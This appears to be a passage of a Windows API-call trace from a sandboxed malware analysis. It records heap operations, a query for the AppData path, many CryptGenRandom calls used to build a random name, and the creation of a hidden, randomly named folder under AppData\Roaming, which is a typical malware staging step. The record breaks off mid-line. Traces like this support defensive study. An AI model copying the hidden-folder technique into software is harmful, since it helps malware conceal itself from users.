[0140.564] RegQueryValueExW (in: hKey=0x13c, lpValueName="AppData", lpReserved=0x0, lpType=0x20f2b8, lpData=0x0, lpcbData=0x20f2c8*=0x0 | out: lpType=0x20f2b8*=0x1, lpData=0x0, lpcbData=0x20f2c8*=0x5c) returned 0x0 [0140.564] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.564] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169a38) returned 1 [0140.564] RegQueryValueExW (in: hKey=0x13c, lpValueName="AppData", lpReserved=0x0, lpType=0x20f2b8, lpData=0x226e950, lpcbData=0x20f2c8*=0x5c | out: lpType=0x20f2b8*=0x1, lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", lpcbData=0x20f2c8*=0x5c) returned 0x0 [0140.564] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e9d8) returned 1 [0140.564] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e9d8 [0140.564] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e950) returned 1 [0140.564] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e9d8) returned 1 [0140.564] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x800) returned 0x2163058 [0140.564] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", lpszShortPath=0x2163058, cchBuffer=0x200 | out: lpszShortPath="C:\\Users\\5P5NRG~1\\AppData\\Roaming") returned 0x21 [0140.565] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2163058) returned 1 [0140.565] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.565] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169210) returned 1 [0140.565] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d278) returned 1 [0140.565] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.565] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d268) returned 1 [0140.565] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.565] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d258) returned 1 [0140.565] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x21692a0) returned 1 [0140.565] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d2f8) returned 1 [0140.565] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x21692e8) returned 1 [0140.565] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d308) returned 1 [0140.565] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169330) returned 1 [0140.565] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d318) returned 1 [0140.565] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169378) returned 1 [0140.565] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d328) returned 1 [0140.565] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x21693c0) returned 1 [0140.565] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d338) returned 1 [0140.565] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169408) returned 1 [0140.565] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d348) returned 1 [0140.565] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169450) returned 1 [0140.565] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d358) returned 1 [0140.565] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169498) returned 1 [0140.565] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d368) returned 1 [0140.566] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x21694e0) returned 1 [0140.566] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d378) returned 1 [0140.566] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169570) returned 1 [0140.566] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d388) returned 1 [0140.566] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x21695b8) returned 1 [0140.566] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d398) returned 1 [0140.566] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169600) returned 1 [0140.566] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d3a8) returned 1 [0140.566] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169648) returned 1 [0140.566] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d3b8) returned 1 [0140.566] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169528) returned 1 [0140.566] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d3c8) returned 1 [0140.566] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169690) returned 1 [0140.566] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d3d8) returned 1 [0140.566] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x21696d8) returned 1 [0140.566] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d3e8) returned 1 [0140.566] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169720) returned 1 [0140.566] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d3f8) returned 1 [0140.566] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169768) returned 1 [0140.566] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d408) returned 1 [0140.566] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x21697b0) returned 1 [0140.566] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d418) returned 1 [0140.566] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x21697f8) returned 1 [0140.566] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d428) returned 1 [0140.566] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169840) returned 1 [0140.566] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d438) returned 1 [0140.566] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169888) returned 1 [0140.566] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d448) returned 1 [0140.566] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x21698d0) returned 1 [0140.566] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d458) returned 1 [0140.566] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169918) returned 1 [0140.566] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d468) returned 1 [0140.566] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169960) returned 1 [0140.566] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d478) returned 1 [0140.566] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x21699a8) returned 1 [0140.566] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d488) returned 1 [0140.566] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x21699f0) returned 1 [0140.567] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d498) returned 1 [0140.567] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.567] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169e98) returned 1 [0140.567] RegCloseKey (hKey=0x13c) returned 0x0 [0140.567] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.567] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.567] CryptAcquireContextW (in: phProv=0x20f34c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f34c*=0x3b3fa0) returned 1 [0140.568] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f360 | out: pbBuffer=0x20f360) returned 1 [0140.568] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.568] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.568] CryptAcquireContextW (in: phProv=0x20f348, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f348*=0x3b3fa0) returned 1 [0140.569] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f35c | out: pbBuffer=0x20f35c) returned 1 [0140.569] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.569] CryptAcquireContextW (in: phProv=0x20f348, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f348*=0x3b3fa0) returned 1 [0140.570] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f35c | out: pbBuffer=0x20f35c) returned 1 [0140.570] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.570] CryptAcquireContextW (in: phProv=0x20f348, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f348*=0x3b3fa0) returned 1 [0140.571] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f35c | out: pbBuffer=0x20f35c) returned 1 [0140.571] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.571] CryptAcquireContextW (in: phProv=0x20f348, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f348*=0x3b3fa0) returned 1 [0140.571] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f35c | out: pbBuffer=0x20f35c) returned 1 [0140.571] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.571] CryptAcquireContextW (in: phProv=0x20f348, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f348*=0x3b3fa0) returned 1 [0140.572] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f35c | out: pbBuffer=0x20f35c) returned 1 [0140.572] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.572] CryptAcquireContextW (in: phProv=0x20f348, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f348*=0x3b3fa0) returned 1 [0140.573] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f35c | out: pbBuffer=0x20f35c) returned 1 [0140.573] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.573] CryptAcquireContextW (in: phProv=0x20f348, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f348*=0x3b3fa0) returned 1 [0140.574] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f35c | out: pbBuffer=0x20f35c) returned 1 [0140.574] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.574] CryptAcquireContextW (in: phProv=0x20f348, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f348*=0x3b3fa0) returned 1 [0140.574] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f35c | out: pbBuffer=0x20f35c) returned 1 [0140.574] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.574] CryptAcquireContextW (in: phProv=0x20f348, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f348*=0x3b3fa0) returned 1 [0140.575] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f35c | out: pbBuffer=0x20f35c) returned 1 [0140.575] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.575] CryptAcquireContextW (in: phProv=0x20f348, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f348*=0x3b3fa0) returned 1 [0140.576] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f35c | out: pbBuffer=0x20f35c) returned 1 [0140.576] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.576] CryptAcquireContextW (in: phProv=0x20f348, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f348*=0x3b3fa0) returned 1 [0140.577] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f35c | out: pbBuffer=0x20f35c) returned 1 [0140.577] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.577] CryptAcquireContextW (in: phProv=0x20f348, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f348*=0x3b3fa0) returned 1 [0140.578] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f35c | out: pbBuffer=0x20f35c) returned 1 [0140.578] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.578] CryptAcquireContextW (in: phProv=0x20f348, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f348*=0x3b3fa0) returned 1 [0140.578] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f35c | out: pbBuffer=0x20f35c) returned 1 [0140.578] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.578] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.578] CreateDirectoryW (lpPathName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\pLC1YKI" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\plc1yki"), lpSecurityAttributes=0x0) returned 1 [0140.580] SetFileAttributesW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\pLC1YKI", dwFileAttributes=0x2) returned 1 [0140.580] CryptAcquireContextW (in: phProv=0x20f34c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f34c*=0x3b3fa0) returned 1 [0140.581] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f360 | out: pbBuffer=0x20f360) returned 1 [0140.581] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.581] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.581] CryptAcquireContextW (in: phProv=0x20f348, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f348*=0x3b3fa0) returned 1 [0140.582] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f35c | out: pbBuffer=0x20f35c) returned 1 [0140.582] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.582] CryptAcquireContextW (in: phProv=0x20f348, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f348*=0x3b3fa0) returned 1 [0140.582] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f35c | out: pbBuffer=0x20f35c) returned 1 [0140.582] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.582] CryptAcquireContextW (in: phProv=0x20f348, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f348*=0x3b3fa0) returned 1 [0140.583] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f35c | out: pbBuffer=0x20f35c) returned 1 [0140.583] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.583] CryptAcquireContextW (in: phProv=0x20f348, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f348*=0x3b3fa0) returned 1 [0140.584] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f35c | out: pbBuffer=0x20f35c) returned 1 [0140.584] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.584] CryptAcquireContextW (in: phProv=0x20f348, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f348*=0x3b3fa0) returned 1 [0140.585] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f35c | out: pbBuffer=0x20f35c) returned 1 [0140.585] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.585] CryptAcquireContextW (in: phProv=0x20f348, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f348*=0x3b3fa0) returned 1 [0140.586] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f35c | out: pbBuffer=0x20f35c) returned 1 [0140.586] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.586] CryptAcquireContextW (in: phProv=0x20f348, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f348*=0x3b3fa0) returned 1 [0140.586] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f35c | out: pbBuffer=0x20f35c) returned 1 [0140.586] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.586] CryptAcquireContextW (in: phProv=0x20f348, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f348*=0x3b3fa0) returned 1 [0140.587] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f35c | out: pbBuffer=0x20f35c) returned 1 [0140.587] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.587] CryptAcquireContextW (in: phProv=0x20f348, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f348*=0x3b3fa0) returned 1 [0140.588] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f35c | out: pbBuffer=0x20f35c) returned 1 [0140.588] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.588] CryptAcquireContextW (in: phProv=0x20f348, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f348*=0x3b3fa0) returned 1 [0140.589] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f35c | out: pbBuffer=0x20f35c) returned 1 [0140.589] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.589] CryptAcquireContextW (in: phProv=0x20f348, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f348*=0x3b3fa0) returned 1 [0140.589] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f35c | out: pbBuffer=0x20f35c) returned 1 [0140.590] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.590] CryptAcquireContextW (in: phProv=0x20f348, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f348*=0x3b3fa0) returned 1 [0140.590] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f35c | out: pbBuffer=0x20f35c) returned 1 [0140.590] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.590] CryptAcquireContextW (in: phProv=0x20f348, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f348*=0x3b3fa0) returned 1 [0140.591] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f35c | out: pbBuffer=0x20f35c) returned 1 [0140.591] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.591] CryptAcquireContextW (in: phProv=0x20f348, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f348*=0x3b3fa0) returned 1 [0140.592] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f35c | out: pbBuffer=0x20f35c) returned 1 [0140.592] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.592] CryptAcquireContextW (in: phProv=0x20f348, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f348*=0x3b3fa0) returned 1 [0140.593] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f35c | out: pbBuffer=0x20f35c) returned 1 [0140.593] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.593] CryptAcquireContextW (in: phProv=0x20f348, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f348*=0x3b3fa0) returned 1 [0140.593] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f35c | out: pbBuffer=0x20f35c) returned 1 [0140.593] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.593] CryptAcquireContextW (in: phProv=0x20f348, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f348*=0x3b3fa0) returned 1 [0140.594] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f35c | out: pbBuffer=0x20f35c) returned 1 [0140.594] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.594] CryptAcquireContextW (in: phProv=0x20f348, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f348*=0x3b3fa0) returned 1 [0140.595] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f35c | out: pbBuffer=0x20f35c) returned 1 [0140.595] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.595] CryptAcquireContextW (in: phProv=0x20f348, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f348*=0x3b3fa0) returned 1 [0140.596] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f35c | out: pbBuffer=0x20f35c) returned 1 [0140.596] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.596] CryptAcquireContextW (in: phProv=0x20f348, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f348*=0x3b3fa0) returned 1 [0140.597] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f35c | out: pbBuffer=0x20f35c) returned 1 [0140.597] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.597] CryptAcquireContextW (in: phProv=0x20f348, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f348*=0x3b3fa0) returned 1 [0140.597] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f35c | out: pbBuffer=0x20f35c) returned 1 [0140.597] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.597] CryptAcquireContextW (in: phProv=0x20f348, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f348*=0x3b3fa0) returned 1 [0140.598] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f35c | out: pbBuffer=0x20f35c) returned 1 [0140.598] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.598] CryptAcquireContextW (in: phProv=0x20f348, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f348*=0x3b3fa0) returned 1 [0140.633] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f35c | out: pbBuffer=0x20f35c) returned 1 [0140.633] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.633] CryptAcquireContextW (in: phProv=0x20f348, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f348*=0x3b3fa0) returned 1 [0140.633] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f35c | out: pbBuffer=0x20f35c) returned 1 [0140.633] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.633] CryptAcquireContextW (in: phProv=0x20f348, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f348*=0x3b3fa0) returned 1 [0140.634] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f35c | out: pbBuffer=0x20f35c) returned 1 [0140.634] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.634] CryptAcquireContextW (in: phProv=0x20f348, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f348*=0x3b3fa0) returned 1 [0140.635] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f35c | out: pbBuffer=0x20f35c) returned 1 [0140.635] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.635] CryptAcquireContextW (in: phProv=0x20f348, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f348*=0x3b3fa0) returned 1 [0140.636] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f35c | out: pbBuffer=0x20f35c) returned 1 [0140.636] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.636] CryptAcquireContextW (in: phProv=0x20f348, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f348*=0x3b3fa0) returned 1 [0140.637] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f35c | out: pbBuffer=0x20f35c) returned 1 [0140.637] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.637] CryptAcquireContextW (in: phProv=0x20f348, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f348*=0x3b3fa0) returned 1 [0140.637] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f35c | out: pbBuffer=0x20f35c) returned 1 [0140.637] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.637] CryptAcquireContextW (in: phProv=0x20f348, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f348*=0x3b3fa0) returned 1 [0140.638] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f35c | out: pbBuffer=0x20f35c) returned 1 [0140.638] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.638] CryptAcquireContextW (in: phProv=0x20f348, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f348*=0x3b3fa0) returned 1 [0140.639] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f35c | out: pbBuffer=0x20f35c) returned 1 [0140.639] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.639] CryptAcquireContextW (in: phProv=0x20f348, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f348*=0x3b3fa0) returned 1 [0140.640] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f35c | out: 